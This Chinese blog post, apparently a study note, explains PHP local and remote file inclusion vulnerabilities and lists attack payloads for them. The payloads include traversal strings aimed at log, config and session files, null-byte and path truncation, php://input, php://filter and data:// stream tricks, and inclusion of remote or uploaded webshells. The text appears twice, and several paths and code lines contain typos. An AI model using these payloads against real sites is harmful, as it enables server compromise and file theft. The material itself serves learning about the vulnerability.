PHP文件包含漏洞
2016-05-04 14:27
741 查看
PHP文件包含漏洞
php的函数引入文件是,由于传入的文件没有经过合理的校验,从而操作了预想之外的文件,就可以导致意外的文件泄露,甚至导致恶意代码的注入。
基本的代码:
If($_GET[‘func’])
{
Include $_GET[‘func’]
}
Else
{
Include ‘default.php’
}
本意运行的是http://127.0.0.1/index.php?func=add.php,结果在后面默认运行了default.php
如果黑客运行自己上传的图片马,那么包含一句话木马,我们是不是就绕过过滤了。
http://127.0.0.1/index.php?func=upload/pic/evil.jpg
evil.jpg是黑客上传上去的图片吗,里面有恶意的php代码
LFI本地文件包含漏洞:
(1),普通的本地文件包含
<?php
include(“inc/” . $GET[‘file’]); ?>
包含同目录下的文件:
?file=.htaccess
目录遍历
?file=../…/../var/lib/flag.txt
包含错误的日志
?file=../../../var/log/access.log
常见的一些路径
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/asscess_log
获取web目录或者其他的配置文件
?file=../../../httpd.conf
包含上传的附件
?file=../../../xx.file
读取session文件
/file=../../../tmp/sess_tnrdo
(2)有限制的本地包含
<?php
include(“inc/” . $GET[‘file’] . “.htm”); ?>
%00截断:
?file=../../../etc/pwd%00
%00截断目录遍历
?../../../../www/%00
路径长度截断:
?file=../../../etc/pwd/././.[…]/././.
点号截断:
?file=../../../boot.ini/….[…]………
RFI(远程文件包含漏洞)
三大条件:
All_url_fopen=On(默认开启)
Allow_url_include=On(默认关闭)
被包含的遍历前没有目录的限制
(1)普通远程文件包含
<?php include($GET[‘file’]);?>
远程代码执行:
?file=http://www.baidu.com/index.php
利用php流input;
?file=php://input
利用php流filter:
?file=php://filter/convert/resource=index.php
利用data URLs:
?file=data://text/plain;base64,URL(可以远程包含一句话木马链接)
利用xss执行任意代码
?file=http://127.0.0.1/path/xss.php?xss=phpcode
有限制的远程文件包含
<?php include($_GET[‘FILE’]
. “.htm”); ?>
?file=http://www.baidu.com/shell
?file=http://www.baidu.com/shell.txt?
?file=http://www.baidu.com/shell.txt%23
?file=\evilshare\shell.php
来自为知笔记(Wiz)
php的函数引入文件是,由于传入的文件没有经过合理的校验,从而操作了预想之外的文件,就可以导致意外的文件泄露,甚至导致恶意代码的注入。
基本的代码:
If($_GET[‘func’])
{
Include $_GET[‘func’]
}
Else
{
Include ‘default.php’
}
本意运行的是http://127.0.0.1/index.php?func=add.php,结果在后面默认运行了default.php
如果黑客运行自己上传的图片马,那么包含一句话木马,我们是不是就绕过过滤了。
http://127.0.0.1/index.php?func=upload/pic/evil.jpg
evil.jpg是黑客上传上去的图片吗,里面有恶意的php代码
LFI本地文件包含漏洞:
(1),普通的本地文件包含
<?php
include(“inc/” . $GET[‘file’]); ?>
包含同目录下的文件:
?file=.htaccess
目录遍历
?file=../…/../var/lib/flag.txt
包含错误的日志
?file=../../../var/log/access.log
常见的一些路径
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/asscess_log
获取web目录或者其他的配置文件
?file=../../../httpd.conf
包含上传的附件
?file=../../../xx.file
读取session文件
/file=../../../tmp/sess_tnrdo
(2)有限制的本地包含
<?php
include(“inc/” . $GET[‘file’] . “.htm”); ?>
%00截断:
?file=../../../etc/pwd%00
%00截断目录遍历
?../../../../www/%00
路径长度截断:
?file=../../../etc/pwd/././.[…]/././.
点号截断:
?file=../../../boot.ini/….[…]………
RFI(远程文件包含漏洞)
三大条件:
All_url_fopen=On(默认开启)
Allow_url_include=On(默认关闭)
被包含的遍历前没有目录的限制
(1)普通远程文件包含
<?php include($GET[‘file’]);?>
远程代码执行:
?file=http://www.baidu.com/index.php
利用php流input;
?file=php://input
利用php流filter:
?file=php://filter/convert/resource=index.php
利用data URLs:
?file=data://text/plain;base64,URL(可以远程包含一句话木马链接)
利用xss执行任意代码
?file=http://127.0.0.1/path/xss.php?xss=phpcode
有限制的远程文件包含
<?php include($_GET[‘FILE’]
. “.htm”); ?>
?file=http://www.baidu.com/shell
?file=http://www.baidu.com/shell.txt?
?file=http://www.baidu.com/shell.txt%23
?file=\evilshare\shell.php
来自为知笔记(Wiz)
相关文章推荐
- PHP之pcntl_fork多进程并发编程示例
- PHP 数据增删改
- PHP 数据访问
- PHP 面向对象练习
- Thinkphp原生的sql查询及执行操作
- PHP正则表达式过滤html标签属性(DEMO)
- laravel 报错 mcrypt_decrypt(): Key of size 11 not supported by this algorithm. Only keys of sizes 16, 24 or 32 supported
- YII 查找View的5种方式
- func_default.php
- php 生成电话名片二维码
- php之curl操作 未完
- php引用使用不恰当而产生问题的地方
- Laravel5 安装
- CodeIgniter(CI)去掉默认url中的index.php
- Thinkphp5 学习笔记之视图
- phpmyadmin自增字段
- php之类,对象(四)加载类及练习题
- ThinkPHP3.2 应用系统验证码
- php yii框架 post csrf
- Mac下PHP环境的配置